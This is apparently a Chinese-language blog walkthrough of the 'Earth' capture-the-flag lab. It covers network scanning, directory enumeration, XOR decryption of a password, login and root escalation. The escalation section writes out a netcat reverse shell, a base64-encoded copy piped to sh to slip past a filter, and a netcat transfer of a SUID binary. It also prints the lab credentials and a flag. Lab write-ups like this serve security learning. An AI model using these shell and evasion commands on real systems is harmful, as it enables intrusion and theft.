earth

Last updated on 6 months ago

earth

ip发现

(攻击机和靶机都使用nat模式,保证处于同一ip段)

ifconfig

发现攻击机ip段为192.168.22

使用nmap -sP 192.168.22.1/24

-sP scan ping

使用ping扫描网段,仅查看哪些网段内哪些主机在线,不查看端口,速度更快

192.168.22.1/24

192.168.22是网段,129代表着攻击机,而靶机也处于同一网段,所以此时网关为255.255.255.0,换算成2进制就是24个1和8个0,/24就代表着网关为255.255.255.0,所以192.168.22此时为主机号,nmap会只扫描192.168.22.1 - 192.168.22.254这些主机(0作为网络地址,不可用于主机段,255用于广播地址,同样不能用于主机地址)(192.168.22.1的1可以更改为任何一个数字,因为有/24,所以会全部扫完)

发现靶机ip为132

基础信息发现

namp -A 192.168.22.132

-A

会执行以下扫描

  1. ping扫描
  2. 端口扫描
  3. OS扫描(猜测目标主机操作系统)
  4. 版本检测

端口发现

靶机现在开放了-22(ssh原创登录)端口,-80(http协议端口),-443(https)协议端口

DNS解析

用了两个DNS服务器

OS发现

靶机运行的是linux系统

添加本地DNS

(有些情况可能只允许域名访问而不允许ip地址访问,所以这一步是有必要的)

vim /etc/hosts

按i进行输入

192.168.22.132 earth.local terratest.earth.local

按esc退出

:wq保存(write quit)

接着就可以在网页访问earth.local了

(1)dirb(Directory Bruteforcing)

目录枚举工具

dirb http://earth.local

发现有admin和cgi-bin两个文件夹(只能找到顶级文件夹,比如admin内还有login文件夹,因为不是顶级,所以扫不出来)

因为-80和-443端口都开放了,所以http https earth.local terratest.earth.local 都要扫一遍

(2)gobuster

dirb每次只能一个网站一个网站扫,过于繁琐,所以使用gobuster来扫描,http和https最好分开扫描

gobuster dir -u https://earth.local -u https://terratest.earth.local -k -w /root/桌面/gobuster/SecLists/Discovery/Web-Content/common.txt

gobuster dir -u http://earth.local -u http://terratest.earth.local -w /root/桌面/gobuster/SecLists/Discovery/Web-Content/common.txt

gobuster dir -u <url> -k(如果有https则需要加上-k) -w <字典路径>

在https扫出了相对有用的,index.html进去是一句话,而robots.txt进去是目录,在最下面一行找到可能有用的

文件名是testingnotes.* *是通配符,需要猜测后缀,一般可能为

  1. .md
  2. .txt
  3. .dox
  4. .html
  5. .php

这里后缀为.txt

第二行使用XOR encryption(异或加密算法)

第四行testdata.txt是被用来测试加密的

todo上方一行表明earth靶机的用户名是terra

下载testdata.txt

因为是https,未经过验证ssl证书,所以使用wget直接下载的情况

https://terratest.earth.local/testdata.txt```会报错,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

所以要忽略不可信证书强行下载

```wget https://terratest.earth.local/testdata.txt --no-check-certificate```

(能使用wget下载就是因为80和443端口开放)

### 解码

使用[CyberChef (gchq.github.io)](https://gchq.github.io/CyberChef/)在线平台进行解码

datatest.txt(A)进行了一次测试,与密钥(B)进行XOR生成了earth.local首页的C,现在用C和A进行XOR操作获取密钥B

```2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a```

这段字符串是 16 进制编码的二进制数据,具有以下特征:1. 只包含数字 0-9 和字母 A-F16 进制使用 0-9 和 A-F 表示数值,所以 16 进制编码的数据只会包含这些字符。

所以先把这段转化成二进制,然后跟datatest.txt的内容进行XOR,发现密钥B为earthclimatechangebad4humans

### 登陆

![](https://cdn.jsdelivr.net/gh/taosu0216/picgo/20230607173526.png)

用户名为terra,密码尝试使用earthclimatechangebad4humans,成功登陆

<ol>
<li>ls</li>
<li>whoami</li>
<li>locate password</li>
<li>locate flag</li>
</ol>


发现flag ```user_flag_3353b67d6437f07ba7d34afd7d2fc27d```



### 提权

反弹shell,使用```nc 192.168.22.129 4444 -e /bin/sh```,显示被禁止,可能是有过滤器,所以将```nc 192.168.22.129 4444 -e /bin/sh```进行base64编码(别人用的都是base64编码,但编码成别的应该也可以),在页面输入```echo 'bmMgMTkyLjE2OC4yMi4xMjkgNDQ0NCAtZSAvYmluL3No' | base64 -d | sh```

-d decode 解码

sh 将前面的代码当作一个命令来执行



find / -user root -perm /4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null


网上搜到的两种搜索提权文件的代码

find [范围] [选项] (范围可不写)

#### 1.find / -user root -perm /4000 2>/dev/null

<ol>
    <li>/</li>范围在根目录
    <li>-user root</li>选定属主为root
    <li>-perm /4000</li>permission意味权限,-perm后面要带有具体范围,/4000是SUID的八进制位形式
    <ul>
        <li>属主</li>文件或目录的创始者
        <li>属组</li>一种权限分划方式,同一个属组内的用户可以共享文件的读写删改操作权限,比如a,b,c三个用户,a,b为一个属组,c不属于a,b的属组,a创建了一个文件,b具有跟a等同的对该文件操作的权力,而c没有(注意普通用户跟root用户同一属组时不具备root的权限)
        <li>SUID</li>Set User Id,当一个目录或文件具有SUID时,代表该文件在执行时可以允许普通用户拥有root权限
    </ul>
    所以第二条和第三条联合起来就是查找root用户创建的文件,并且该文件可以让低权限用户使用root权限
    <li>2>/dev/null</li> >是重定向符号,让报错信息输入到/dev/null中
    <ul>
        <li>0</li>标准输入(Stdin):文件描述符为 0,使用 < 重定向
        <li>1</li>标准输出(Stdout):文件描述符为 1,使用 > 重定向 
        <li>2</li>标准错误输出(Stderr):文件描述符为 2,使用 2> 重定向 
        <li>/dev/null</li>/dev/null 是 Linux 中的一个特殊文件,写入到它的内容都会被丢弃。
    </ul>
    所以该命令效果是不显示报错信息
</ol>


#### 2.find / -perm -u=s -type f 2>/dev/null

-u=s和-u /4000等效  s就是suid 

-type代表筛选文件类型,f是regular file,即普通文件

#### 传输文件

![](https://cdn.jsdelivr.net/gh/taosu0216/picgo/20230607210637.png)

发现reset_root,但是报错,直接打开是乱码

strings /usr/bin/reset_root         把二进制文件转化成可阅读文本



发现该文件将更改密码为earth

这个文件发送到攻击机进行分析

##### 攻击机

开端口 nc -nlvp 1234 > reset_root               开启1234端口,创建名为reset_root的文件接受数据(-n是不进行dns查询)

##### 靶机

nc 192.168.22.129 1234 < /usr/bin/reset_root

#### 执行

chmod +x reset_root      change mode更改文件权限,x是execute,即将该文件修改为允许执行的文件

ltrace ./reset_root    (library trace库追踪)即追踪执行这个文件需要调用什么样的动态库(函数)

(这里用strace更好点,"strace" 中的 "s",它代表的是 "system calls"(系统调用)。strace 工具的主要功能就是追踪程序执行期间发生的系统调用,以及这些调用的参数和返回值。它可以捕获程序与操作系统之间的交互,包括文件操作、网络通信、进程管理等系统调用。)

(这里有坑,我是在桌面新建了一个文件夹用于接收该文件,为了方便我进文件夹后右键在该位置打开终端,但是直接用ltrace rest_root会报错,用./reset_root就可以,   ./ 代表着当前文件夹的路径,这里很怪,注意一下吧)



应该就是靶机上没有这三个文件,所以创建一下(touch创建)

创建完后发现root密码是Earth,su Earth升级权限(这里输入密码没有被隐藏,搞得我还以为有啥问题)

whoami   此时为root

继续find root_flag

earth
https://blog.yblue.top/2023/08/20/earth/
Posted on
August 20, 2023
Licensed under